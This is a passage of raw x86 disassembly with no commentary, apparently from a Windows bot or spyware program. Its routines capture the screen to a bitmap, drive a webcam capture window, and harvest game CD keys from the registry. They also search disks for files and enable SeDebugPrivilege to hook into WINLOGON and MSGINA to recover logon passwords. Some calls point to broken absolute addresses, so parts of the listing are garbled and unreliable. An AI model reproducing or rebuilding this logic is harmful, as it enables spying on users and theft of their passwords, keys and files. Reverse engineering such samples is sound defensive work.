var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = word ptr -30h var_2E = dword ptr -2Eh var_2A = word ptr -2Ah var_28 = word ptr -28h var_26 = dword ptr -26h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 484h push ebx push esi xor esi, esi push edi push esi push esi push esi push offset aDisplay ; "DISPLAY" call dword_43AD84 mov edi, eax cmp edi, esi mov [ebp+var_20], edi jz loc_4087E7 push 8 push edi call dword_43ADA0 push 0Ah push edi mov [ebp+var_8], eax call dword_43ADA0 push 0Ch push edi mov [ebp+var_C], eax call dword_43ADA0 cmp eax, 8 mov [ebp+var_10], eax ja short loc_408615 push 18h push edi call dword_43ADA0 mov ebx, 100h jmp short loc_408617 ; --------------------------------------------------------------------------- loc_408615: ; CODE XREF: sub_4085B3+50j xor ebx, ebx loc_408617: ; CODE XREF: sub_4085B3+60j push edi call dword_43ADE4 cmp eax, esi mov [ebp+var_4], eax jz loc_4087CC mov eax, [ebp+var_8] push esi mov [ebp+var_80], eax mov eax, [ebp+var_C] mov [ebp+var_7C], eax mov ax, word ptr [ebp+var_10] mov [ebp+var_76], ax lea eax, [ebp+var_18] push esi push eax lea eax, [ebp+var_84] push 1 push eax push edi mov [ebp+var_84], 28h mov [ebp+var_78], 1 mov [ebp+var_74], esi mov [ebp+var_70], esi mov [ebp+var_6C], esi mov [ebp+var_68], esi mov [ebp+var_64], ebx mov [ebp+var_60], ebx call dword_43ADDC cmp eax, esi mov [ebp+var_1C], eax jz loc_4087D7 push eax push [ebp+var_4] call dword_43AC74 cmp eax, esi jz loc_4087D7 cmp eax, 0FFFFFFFFh jz loc_4087D7 push 0CC0020h push esi push esi push edi push [ebp+var_C] push [ebp+var_8] push esi push esi push [ebp+var_4] call dword_43ADE0 test eax, eax jz loc_4087D7 cmp ebx, esi jz short loc_4086D4 lea eax, [ebp+var_484] push eax push ebx push esi push [ebp+var_4] call dword_43ACC8 mov ebx, eax loc_4086D4: ; CODE XREF: sub_4085B3+10Bj mov edi, [ebp+var_10] mov ecx, [ebp+var_8] imul edi, [ebp+var_C] imul edi, ecx mov eax, ebx push esi shr edi, 3 shl eax, 2 mov [ebp+var_8], eax push 80h lea edx, [eax+edi+36h] add eax, 36h push 2 mov [ebp+var_26], eax mov eax, [ebp+var_C] push esi push esi push 40000000h push [ebp+arg_0] mov [ebp+var_50], eax mov ax, word ptr [ebp+var_10] mov [ebp+var_30], 4D42h mov [ebp+var_2E], edx mov [ebp+var_2A], si mov [ebp+var_28], si mov [ebp+var_58], 28h mov [ebp+var_54], ecx mov [ebp+var_4C], 1 mov [ebp+var_4A], ax mov [ebp+var_48], esi mov [ebp+var_44], esi mov [ebp+var_40], esi mov [ebp+var_3C], esi mov [ebp+var_38], ebx mov [ebp+var_34], esi nop call near ptr 26507E6h cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz short loc_4087B7 lea ecx, [ebp+var_14] push esi push ecx lea ecx, [ebp+var_30] push 0Eh push ecx push eax nop call near ptr 2640000h lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_58] push 28h push eax push [ebp+arg_0] nop call near ptr 2640000h cmp ebx, esi jz short loc_408799 lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_484] push [ebp+var_8] push eax push [ebp+arg_0] nop call near ptr 2640000h loc_408799: ; CODE XREF: sub_4085B3+1CCj lea eax, [ebp+var_14] push esi push eax push edi push [ebp+var_18] push [ebp+arg_0] nop call near ptr 2640000h push [ebp+arg_0] call near ptr 2631A0Bh nop push 1 pop esi loc_4087B7: ; CODE XREF: sub_4085B3+1A2j push [ebp+var_1C] call dword_43ACFC push [ebp+var_4] call dword_43AC60 mov edi, [ebp+var_20] loc_4087CC: ; CODE XREF: sub_4085B3+70j push edi call dword_43AC60 mov eax, esi jmp short loc_4087E9 ; --------------------------------------------------------------------------- loc_4087D7: ; CODE XREF: sub_4085B3+C7j ; sub_4085B3+D9j ... push edi call dword_43AC60 push [ebp+var_4] call dword_43AC60 loc_4087E7: ; CODE XREF: sub_4085B3+23j xor eax, eax loc_4087E9: ; CODE XREF: sub_4085B3+222j pop edi pop esi pop ebx leave retn sub_4085B3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4087EE proc near ; CODE XREF: sub_40EE72+46EBp var_34 = byte ptr -34h var_20 = dword ptr -20h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 34h push ebx push esi push edi push 1 pop esi xor ebx, ebx push esi push dword_439830 push 78h push 0A0h push ebx push ebx push 40000000h push offset aWindow ; "Window" call dword_43ACF0 mov edi, eax cmp edi, ebx mov [ebp+var_4], edi jnz short loc_40882C mov eax, esi jmp loc_4089E2 ; --------------------------------------------------------------------------- loc_40882C: ; CODE XREF: sub_4087EE+35j push edi call dword_43AD38 test eax, eax jz short loc_408849 push ebx push [ebp+arg_4] push 40Ah push edi call dword_43ADF4 jmp short loc_40884B ; --------------------------------------------------------------------------- loc_408849: ; CODE XREF: sub_4087EE+47j xor eax, eax loc_40884B: ; CODE XREF: sub_4087EE+59j cmp eax, ebx jnz short loc_408856 loc_40884F: ; CODE XREF: sub_4087EE+88j ; sub_4087EE+BCj mov ebx, esi jmp loc_4089D7 ; --------------------------------------------------------------------------- loc_408856: ; CODE XREF: sub_4087EE+5Fj push edi call dword_43AD38 test eax, eax jz short loc_408873 lea eax, [ebp+var_34] push eax push 2Ch push 40Eh push edi call dword_43ADF4 loc_408873: ; CODE XREF: sub_4087EE+71j cmp [ebp+var_20], ebx jz short loc_40884F push edi call dword_43AD38 test eax, eax mov edi, 42Ch jz short loc_408899 push ebx push ebx push edi push [ebp+var_4] call dword_43ADF4 mov [ebp+arg_4], eax jmp short loc_40889C ; --------------------------------------------------------------------------- loc_408899: ; CODE XREF: sub_4087EE+98j mov [ebp+arg_4], ebx loc_40889C: ; CODE XREF: sub_4087EE+A9j push [ebp+arg_4] call sub_417B89 cmp eax, ebx pop ecx mov [ebp+var_8], eax jz short loc_40884F push [ebp+arg_4] call sub_417B89 mov esi, eax pop ecx cmp esi, ebx jnz short loc_4088C3 push 1 pop ebx jmp loc_4089D7 ; --------------------------------------------------------------------------- loc_4088C3: ; CODE XREF: sub_4087EE+CBj push [ebp+var_4] call dword_43AD38 test eax, eax jz short loc_4088E0 push [ebp+var_8] push [ebp+arg_4] push edi push [ebp+var_4] call dword_43ADF4 loc_4088E0: ; CODE XREF: sub_4087EE+E0j push [ebp+arg_4] push [ebp+var_8] push esi call sub_417390 mov ecx, [ebp+arg_8] add esp, 0Ch cmp ecx, ebx jg short loc_4088FB mov ecx, 280h loc_4088FB: ; CODE XREF: sub_4087EE+106j mov eax, [ebp+arg_C] cmp eax, ebx jg short loc_408907 mov eax, 1E0h loc_408907: ; CODE XREF: sub_4087EE+112j push [ebp+var_4] mov [esi+4], ecx mov [esi+8], eax mov word ptr [esi+0Eh], 10h mov [esi+14h], ebx mov [esi+10h], ebx mov [esi+20h], ebx mov [esi+24h], ebx mov word ptr [esi+0Ch], 1 mov [esi+28h], bl mov [esi+29h], bl mov [esi+2Ah], bl mov [esi+2Bh], bl call dword_43AD38 test eax, eax mov edi, 42Dh jz short loc_408951 push esi push [ebp+arg_4] push edi push [ebp+var_4] call dword_43ADF4 loc_408951: ; CODE XREF: sub_4087EE+153j push [ebp+var_4] call dword_43AD38 test eax, eax jz short loc_40896E push ebx push ebx push 43Dh push [ebp+var_4] call dword_43ADF4 loc_40896E: ; CODE XREF: sub_4087EE+16Ej push [ebp+var_4] call dword_43AD38 test eax, eax jz short loc_40898D push [ebp+arg_0] push ebx push 419h push [ebp+var_4] call dword_43ADF4 loc_40898D: ; CODE XREF: sub_4087EE+18Bj push [ebp+var_4] call dword_43AD38 test eax, eax jz short loc_4089AA push [ebp+var_8] push [ebp+arg_4] push edi push [ebp+var_4] call dword_43ADF4 loc_4089AA: ; CODE XREF: sub_4087EE+1AAj push [ebp+var_8] call sub_417C3B push esi call sub_417C3B pop ecx pop ecx push [ebp+var_4] call dword_43AD38 test eax, eax jz short loc_4089D7 push ebx push ebx push 40Bh push [ebp+var_4] call dword_43ADF4 loc_4089D7: ; CODE XREF: sub_4087EE+63j ; sub_4087EE+D0j ... push [ebp+var_4] call dword_43AE48 mov eax, ebx loc_4089E2: ; CODE XREF: sub_4087EE+39j pop edi pop esi pop ebx leave retn sub_4087EE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4089E7 proc near ; CODE XREF: sub_40EE72+47A4p var_90 = byte ptr -90h var_7C = dword ptr -7Ch var_64 = dword ptr -64h var_60 = dword ptr -60h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 90h push ebx push esi push edi push 1 pop esi xor ebx, ebx push esi push dword_439830 push 78h push 0A0h push ebx push ebx push 40000000h push offset aWindow ; "Window" call dword_43ACF0 mov edi, eax cmp edi, ebx jnz short loc_408A25 mov eax, esi jmp loc_408C21 ; --------------------------------------------------------------------------- loc_408A25: ; CODE XREF: sub_4089E7+35j push edi call dword_43AD38 test eax, eax jz short loc_408A42 push ebx push [ebp+arg_4] push 40Ah push edi call dword_43ADF4 jmp short loc_408A44 ; --------------------------------------------------------------------------- loc_408A42: ; CODE XREF: sub_4089E7+47j xor eax, eax loc_408A44: ; CODE XREF: sub_4089E7+59j cmp eax, ebx jnz short loc_408A4F loc_408A48: ; CODE XREF: sub_4089E7+8Bj ; sub_4089E7+BCj mov ebx, esi jmp loc_408C18 ; --------------------------------------------------------------------------- loc_408A4F: ; CODE XREF: sub_4089E7+5Fj push edi call dword_43AD38 test eax, eax jz short loc_408A6F lea eax, [ebp+var_90] push eax push 2Ch push 40Eh push edi call dword_43ADF4 loc_408A6F: ; CODE XREF: sub_4089E7+71j cmp [ebp+var_7C], ebx jz short loc_408A48 push edi call dword_43AD38 test eax, eax jz short loc_408A92 push ebx push ebx push 42Ch push edi call dword_43ADF4 mov [ebp+arg_4], eax jmp short loc_408A95 ; --------------------------------------------------------------------------- loc_408A92: ; CODE XREF: sub_4089E7+96j mov [ebp+arg_4], ebx loc_408A95: ; CODE XREF: sub_4089E7+A9j push [ebp+arg_4] call sub_417B89 cmp eax, ebx pop ecx mov [ebp+var_4], eax jz short loc_408A48 push [ebp+arg_4] call sub_417B89 mov esi, eax pop ecx cmp esi, ebx jnz short loc_408ABC push 1 pop ebx jmp loc_408C18 ; --------------------------------------------------------------------------- loc_408ABC: ; CODE XREF: sub_4089E7+CBj push edi call dword_43AD38 test eax, eax jz short loc_408AD9 push [ebp+var_4] push [ebp+arg_4] push 42Ch push edi call dword_43ADF4 loc_408AD9: ; CODE XREF: sub_4089E7+DEj push [ebp+arg_4] push [ebp+var_4] push esi call sub_417390 mov ecx, [ebp+arg_C] add esp, 0Ch cmp ecx, ebx jg short loc_408AF4 mov ecx, 0A0h loc_408AF4: ; CODE XREF: sub_4089E7+106j mov eax, [ebp+arg_10] cmp eax, ebx jg short loc_408AFE push 78h pop eax loc_408AFE: ; CODE XREF: sub_4089E7+112j push edi mov [esi+4], ecx mov [esi+8], eax mov word ptr [esi+0Eh], 10h mov [esi+14h], ebx mov [esi+10h], ebx mov [esi+20h], ebx mov [esi+24h], ebx mov word ptr [esi+0Ch], 1 mov [esi+28h], bl mov [esi+29h], bl mov [esi+2Ah], bl mov [esi+2Bh], bl call dword_43AD38 test eax, eax jz short loc_408B43 push esi push [ebp+arg_4] push 42Dh push edi call dword_43ADF4 loc_408B43: ; CODE XREF: sub_4089E7+14Aj push edi call dword_43AD38 test eax, eax jz short loc_408B60 lea eax, [ebp+var_64] push eax push 60h push 441h push edi call dword_43ADF4 loc_408B60: ; CODE XREF: sub_4089E7+165j push edi mov [ebp+var_60], ebx mov [ebp+var_3C], ebx mov [ebp+var_38], ebx mov [ebp+var_34], ebx mov [ebp+var_30], 1 mov [ebp+var_2C], 5 mov [ebp+var_64], 1046Ah call dword_43AD38 test eax, eax jz short loc_408B9E lea eax, [ebp+var_64] push eax push 60h push 440h push edi call dword_43ADF4 loc_408B9E: ; CODE XREF: sub_4089E7+1A3j push edi call dword_43AD38 test eax, eax jz short loc_408BB9 push [ebp+arg_0] push ebx push 414h push edi call dword_43ADF4 loc_408BB9: ; CODE XREF: sub_4089E7+1C0j push edi call dword_43AD38 test eax, eax jz short loc_408BD2 push ebx push ebx push 43Eh push edi call dword_43ADF4 loc_408BD2: ; CODE XREF: sub_4089E7+1DBj push edi call dword_43AD38 test eax, eax jz short loc_408BEF push [ebp+var_4] push [ebp+arg_4] push 42Dh push edi call dword_43ADF4 loc_408BEF: ; CODE XREF: sub_4089E7+1F4j push [ebp+var_4] call sub_417C3B push esi call sub_417C3B pop ecx pop ecx push edi call dword_43AD38 test eax, eax jz short loc_408C18 push ebx push ebx push 40Bh push edi call dword_43ADF4 loc_408C18: ; CODE XREF: sub_4089E7+63j ; sub_4089E7+D0j ... push edi call dword_43AE48 mov eax, ebx loc_408C21: ; CODE XREF: sub_4089E7+39j pop edi pop esi pop ebx leave retn sub_4089E7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408C26 proc near ; CODE XREF: sub_40EE72+588Bp var_3F4 = byte ptr -3F4h var_2F0 = byte ptr -2F0h var_F0 = byte ptr -0F0h var_70 = byte ptr -70h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 3F4h push ebx xor ebx, ebx cmp off_42B894, ebx mov [ebp+var_C], 80h jz loc_408DC7 push esi push edi mov eax, offset off_42B894 mov esi, offset dword_42B8A0 mov edi, offset aSCdKeyS_ ; "%s CD Key: (%s)." loc_408C56: ; CODE XREF: sub_408C26+199j lea ecx, [ebp+var_4] push ecx push 20019h push ebx push dword ptr [eax] push dword ptr [esi-10h] call dword_43AE08 lea eax, [ebp+var_C] push eax lea eax, [ebp+var_F0] push eax push ebx push ebx push dword ptr [esi-8] push [ebp+var_4] call dword_43ACA4 test eax, eax jnz loc_408DAD mov eax, [esi] cmp eax, ebx jz loc_408D71 push eax lea eax, [ebp+var_F0] push eax lea eax, [ebp+var_3F4] push offset aSS_3 ; "%s\\%s" push eax call sub_4172B0 lea eax, [ebp+var_3F4] push offset aR ; "r" push eax call sub_4179A8 add esp, 18h cmp eax, ebx mov [ebp+var_8], eax jz loc_408DAD push eax loc_408CCF: ; CODE XREF: sub_408C26+D4j lea eax, [ebp+var_70] push 64h push eax call sub_41900C add esp, 0Ch test eax, eax jz loc_408D66 push dword ptr [esi+4] lea eax, [ebp+var_70] push eax call sub_417880 pop ecx test eax, eax pop ecx jz short loc_408CFC push [ebp+var_8] jmp short loc_408CCF ; --------------------------------------------------------------------------- loc_408CFC: ; CODE XREF: sub_408C26+CFj push 3Dh push dword ptr [esi+4] call sub_418F50 pop ecx test eax, eax pop ecx jz short loc_408D2A lea eax, [ebp+var_70] push offset asc_42CA98 ; "=" push eax call sub_418B6E push offset asc_42CA98 ; "=" push ebx call sub_418B6E add esp, 10h jmp short loc_408D2D ; --------------------------------------------------------------------------- loc_408D2A: ; CODE XREF: sub_408C26+E4j lea eax, [ebp+var_70] loc_408D2D: ; CODE XREF: sub_408C26+102j push eax lea eax, [ebp+var_2F0] push dword ptr [esi-4] push edi push eax call sub_4172B0 add esp, 10h lea eax, [ebp+var_2F0] push ebx push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 lea eax, [ebp+var_2F0] push eax call sub_40BF6D add esp, 18h loc_408D66: ; CODE XREF: sub_408C26+B9j push [ebp+var_8] call sub_417900 pop ecx jmp short loc_408DAD ; --------------------------------------------------------------------------- loc_408D71: ; CODE XREF: sub_408C26+6Aj lea eax, [ebp+var_F0] push eax lea eax, [ebp+var_2F0] push dword ptr [esi-4] push edi push eax call sub_4172B0 push ebx lea eax, [ebp+var_2F0] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 lea eax, [ebp+var_2F0] push eax call sub_40BF6D add esp, 28h loc_408DAD: ; CODE XREF: sub_408C26+60j ; sub_408C26+A2j ... push [ebp+var_4] call dword_43AD74 add esi, 18h cmp [esi-0Ch], ebx lea eax, [esi-0Ch] jnz loc_408C56 pop edi pop esi loc_408DC7: ; CODE XREF: sub_408C26+19j pop ebx leave retn sub_408C26 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408DCA proc near ; DATA XREF: sub_40EE72+3D60o var_49C = byte ptr -49Ch var_29C = dword ptr -29Ch var_298 = byte ptr -298h var_218 = byte ptr -218h var_115 = byte ptr -115h var_114 = byte ptr -114h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 49Ch mov eax, [ebp+arg_0] push ebx push esi push edi mov ecx, 0A7h mov esi, eax lea edi, [ebp+var_29C] rep movsd mov dword ptr [eax+298h], 1 lea eax, [ebp+var_114] push eax call sub_417AB0 xor ebx, ebx cmp [ebp+eax+var_115], 5Ch pop ecx jnz short loc_408E1F lea eax, [ebp+var_114] push eax call sub_417AB0 pop ecx mov [ebp+eax+var_115], bl loc_408E1F: ; CODE XREF: sub_408DCA+3Fj lea eax, [ebp+var_218] push eax push offset unk_42CAEC lea eax, [ebp+var_49C] push 200h push eax call sub_41782A add esp, 10h cmp [ebp+var_8], ebx jnz short loc_408E64 push ebx lea eax, [ebp+var_49C] push [ebp+var_C] push eax lea eax, [ebp+var_298] push eax push [ebp+var_29C] call sub_40D679 add esp, 14h loc_408E64: ; CODE XREF: sub_408DCA+78j lea eax, [ebp+var_114] push ebx push eax lea eax, [ebp+var_218] push eax lea eax, [ebp+var_298] push [ebp+var_C] push eax push [ebp+var_29C] call sub_408EE5 add esp, 18h push eax lea eax, [ebp+var_49C] push offset unk_42CABC push eax call sub_4172B0 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_408EC5 push ebx lea eax, [ebp+var_49C] push [ebp+var_C] push eax lea eax, [ebp+var_298] push eax push [ebp+var_29C] call sub_40D679 add esp, 14h loc_408EC5: ; CODE XREF: sub_408DCA+D9j lea eax, [ebp+var_49C] push eax call sub_40BF6D push [ebp+var_10] call sub_417078 pop ecx pop ecx push ebx nop call near ptr 2610356h pop edi pop esi pop ebx sub_408DCA endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408EE5 proc near ; CODE XREF: sub_408DCA+B9p ; sub_408EE5+9Ep var_54C = byte ptr -54Ch var_34C = byte ptr -34Ch var_248 = byte ptr -248h var_144 = byte ptr -144h var_118 = byte ptr -118h var_117 = byte ptr -117h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 54Ch push ebx push esi push edi mov esi, 104h push [ebp+arg_10] lea eax, [ebp+var_248] push offset aS_3 ; "%s\\*" push esi push eax call sub_41782A mov edi, dword_4240BC add esp, 10h lea eax, [ebp+var_144] push eax lea eax, [ebp+var_248] push eax call edi cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax mov ebx, offset aSS_3 ; "%s\\%s" jz short loc_408FA2 loc_408F31: ; CODE XREF: sub_408EE5+BBj test [ebp+var_144], 10h jz short loc_408F8E cmp [ebp+var_118], 2Eh jnz short loc_408F55 cmp [ebp+var_117], 0 jz short loc_408F8E cmp [ebp+var_117], 2Eh jz short loc_408F8E loc_408F55: ; CODE XREF: sub_408EE5+5Cj lea eax, [ebp+var_118] push eax lea eax, [ebp+var_34C] push [ebp+arg_10] push ebx push esi push eax call sub_41782A push [ebp+arg_14] lea eax, [ebp+var_34C] push eax push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_408EE5 add esp, 2Ch mov [ebp+arg_14], eax loc_408F8E: ; CODE XREF: sub_408EE5+53j ; sub_408EE5+65j ... lea eax, [ebp+var_144] push eax push [ebp+var_4] nop call near ptr 26B0000h test eax, eax jnz short loc_408F31 loc_408FA2: ; CODE XREF: sub_408EE5+4Aj push [ebp+var_4] nop call near ptr 26903B3h push [ebp+arg_C] lea eax, [ebp+var_248] push [ebp+arg_10] push ebx push esi push eax call sub_41782A add esp, 14h lea eax, [ebp+var_144] push eax lea eax, [ebp+var_248] push eax call edi mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_409028 loc_408FD9: ; CODE XREF: sub_408EE5+141j lea eax, [ebp+var_118] inc [ebp+arg_14] push eax lea eax, [ebp+var_54C] push [ebp+arg_10] push offset aFoundSS ; " Found: %s\\%s" push 200h push eax call sub_41782A push 1 lea eax, [ebp+var_54C] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 28h lea eax, [ebp+var_144] push eax push esi nop call near ptr 26B0000h test eax, eax jnz short loc_408FD9 loc_409028: ; CODE XREF: sub_408EE5+F2j push esi nop call near ptr 26903B3h mov eax, [ebp+arg_14] pop edi pop esi pop ebx leave retn sub_408EE5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409037 proc near ; DATA XREF: sub_40EE72+5237o var_29C = byte ptr -29Ch var_9C = dword ptr -9Ch var_98 = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 29Ch mov eax, [ebp+arg_0] push esi push edi push 25h pop ecx mov esi, eax lea edi, [ebp+var_9C] push 1 rep movsd pop esi mov [eax+90h], esi call sub_40B78A cmp eax, esi mov [ebp+var_4], eax jz short loc_409076 cmp eax, 2 jz short loc_409076 push offset unk_42CD60 jmp loc_4091B5 ; --------------------------------------------------------------------------- loc_409076: ; CODE XREF: sub_409037+2Ej ; sub_409037+33j push esi push offset aSedebugprivile ; "SeDebugPrivilege" call sub_41511F pop ecx test eax, eax pop ecx jz loc_4091B0 push ebx push offset aNtdll_dll ; "NTDLL.DLL" nop call near ptr 26F07BDh mov esi, dword_4240DC mov edi, eax push offset aNtquerysystemi ; "NtQuerySystemInformation" push edi mov [ebp+var_8], edi call esi push offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer" push edi mov dword_43AA44, eax call esi push offset aRtlqueryproces ; "RtlQueryProcessDebugInformation" push edi mov dword_43AA38, eax call esi push offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer" push edi mov dword_43AC48, eax call esi push offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString" push edi mov dword_43AA40, eax call esi mov dword_43AA3C, eax call sub_409209 test eax, eax mov [ebp+arg_0], eax jz loc_409183 mov esi, dword_4240D8 mov edi, 400h mov ebx, offset dword_439A38 push edi push ebx push offset off_42CC9C call esi push edi mov edi, offset dword_43A238 push edi push offset off_42CC84 call esi cmp [ebp+var_4], 1 push offset dword_43AC50 push [ebp+arg_0] jnz short loc_40912F call sub_409392 jmp short loc_409134 ; --------------------------------------------------------------------------- loc_40912F: ; CODE XREF: sub_409037+EFj call sub_409539 loc_409134: ; CODE XREF: sub_409037+F6j pop ecx test eax, eax pop ecx jz short loc_40917C cmp dword_43AC50, 0 jnz short loc_409163 push ebx push edi push [ebp+arg_0] lea eax, [ebp+var_29C] push offset unk_42CC0C push 200h push eax call sub_41782A add esp, 18h jmp short loc_409196 ; --------------------------------------------------------------------------- loc_409163: ; CODE XREF: sub_409037+10Aj cmp [ebp+var_4], 1 push [ebp+arg_0] jnz short loc_409173 call sub_40966F jmp short loc_409178 ; --------------------------------------------------------------------------- loc_409173: ; CODE XREF: sub_409037+133j call sub_409706 loc_409178: ; CODE XREF: sub_409037+13Aj pop ecx push eax jmp short loc_409188 ; --------------------------------------------------------------------------- loc_40917C: ; CODE XREF: sub_409037+101j push offset unk_42CBC4 jmp short loc_409188 ; --------------------------------------------------------------------------- loc_409183: ; CODE XREF: sub_409037+B6j push offset unk_42CB80 loc_409188: ; CODE XREF: sub_409037+143j ; sub_409037+14Aj lea eax, [ebp+var_29C] push eax call sub_4172B0 pop ecx pop ecx loc_409196: ; CODE XREF: sub_409037+12Aj push 0 push offset aSedebugprivile ; "SeDebugPrivilege" call sub_41511F pop ecx pop ecx push [ebp+var_8] call near ptr 26E07A1h nop pop ebx jmp short loc_4091C3 ; --------------------------------------------------------------------------- loc_4091B0: ; CODE XREF: sub_409037+4Ej push offset unk_42CB3C loc_4091B5: ; CODE XREF: sub_409037+3Aj lea eax, [ebp+var_29C] push eax call sub_4172B0 pop ecx pop ecx loc_4091C3: ; CODE XREF: sub_409037+177j xor esi, esi cmp [ebp+var_10], esi jnz short loc_4091EA push esi lea eax, [ebp+var_29C] push [ebp+var_14] push eax lea eax, [ebp+var_98] push eax push [ebp+var_9C] call sub_40D679 add esp, 14h loc_4091EA: ; CODE XREF: sub_409037+191j lea eax, [ebp+var_29C] push eax call sub_40BF6D push [ebp+var_18] call sub_417078 pop ecx pop ecx push esi nop call near ptr 2610356h pop edi pop esi sub_409037 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_409209 proc near ; CODE XREF: sub_409037+ACp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 sub esp, 18h and [esp+18h+var_4], 0 and [esp+18h+var_14], 0 push ebx push ebp push esi mov esi, dword_4240EC mov ebx, 100h push edi push ebx push 8 call esi mov edi, dword_4240E8 push eax call edi mov ebp, eax lea eax, [esp+28h+var_14] push eax push ebx push ebp push 10h call dword_43AA44 push ebp push 0 call esi push eax nop call near ptr 2700000h push [esp+28h+var_14] push 8 call esi push eax call edi mov ebp, eax mov eax, [esp+28h+var_14] lea ecx, [esp+28h+var_C] mov [esp+28h+var_C], eax push ecx push eax push ebp push 10h call dword_43AA44 test eax, eax jnz short loc_4092F6 mov eax, [esp+28h+var_C] shr eax, 4 mov [esp+28h+var_10], eax jz short loc_4092F6 push 1 mov ebx, ebp pop ecx cmp eax, ecx mov [esp+28h+var_18], ecx jb short loc_4092F6 loc_409292: ; CODE XREF: sub_409209+EBj cmp word ptr [ebx+8], 5 jnz short loc_4092E9 push 0 push 0 call dword_43AA38 mov edi, eax push edi push 1 push dword ptr [ebx+4] call dword_43AC48 test eax, eax jnz short loc_4092DA mov eax, [edi+60h] push offset aWinlogon ; "WINLOGON" mov [esp+2Ch+var_8], eax lea eax, [edi+80h] push eax call sub_419063 pop ecx push eax call sub_417880 pop ecx test eax, eax pop ecx jnz short loc_40930E loc_4092DA: ; CODE XREF: sub_409209+AAj test edi, edi jz short loc_4092E5 push edi call dword_43AA40 loc_4092E5: ; CODE XREF: sub_409209+D3j mov eax, [esp+28h+var_10] loc_4092E9: ; CODE XREF: sub_409209+8Ej add ebx, 10h inc [esp+28h+var_18] cmp [esp+28h+var_18], eax jbe short loc_409292 loc_4092F6: ; CODE XREF: sub_409209+6Dj ; sub_409209+7Aj ... xor edi, edi loc_4092F8: ; CODE XREF: sub_409209+17Dj push ebp push 0 call esi push eax call near ptr 2700000h nop mov eax, edi loc_409306: ; CODE XREF: sub_409209+184j pop edi pop esi pop ebp pop ebx add esp, 18h retn ; --------------------------------------------------------------------------- loc_40930E: ; CODE XREF: sub_409209+CFj and [esp+28h+var_10], 0 cmp [esp+28h+var_8], 0 jbe short loc_409377 lea eax, [edi+80h] mov [esp+28h+var_18], eax loc_409324: ; CODE XREF: sub_409209+16Cj add [esp+28h+var_18], 11Ch push offset aNwgina ; "NWGINA" push [esp+2Ch+var_18] call sub_419063 pop ecx push eax call sub_417880 pop ecx test eax, eax pop ecx jnz short loc_40938B push offset aMsgina ; "MSGINA" push [esp+2Ch+var_18] call sub_419063 pop ecx push eax call sub_417880 pop ecx test eax, eax pop ecx jnz short loc_409369 mov eax, [ebx+4] mov [esp+28h+var_4], eax loc_409369: ; CODE XREF: sub_409209+157j inc [esp+28h+var_10] mov eax, [esp+28h+var_10] cmp eax, [esp+28h+var_8] jb short loc_409324 loc_409377: ; CODE XREF: sub_409209+10Fj test edi, edi jz short loc_409382 push edi call dword_43AA40 loc_409382: ; CODE XREF: sub_409209+170j mov edi, [esp+28h+var_4] jmp loc_4092F8 ; --------------------------------------------------------------------------- loc_40938B: ; CODE XREF: sub_409209+13Cj xor eax, eax jmp loc_409306 sub_409209 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409392 proc near ; CODE XREF: sub_409037+F1p var_64 = byte ptr -64h var_60 = dword ptr -60h var_40 = byte ptr -40h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2B = byte ptr -2Bh var_24 = byte ptr -24h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 64h push esi xor esi, esi push 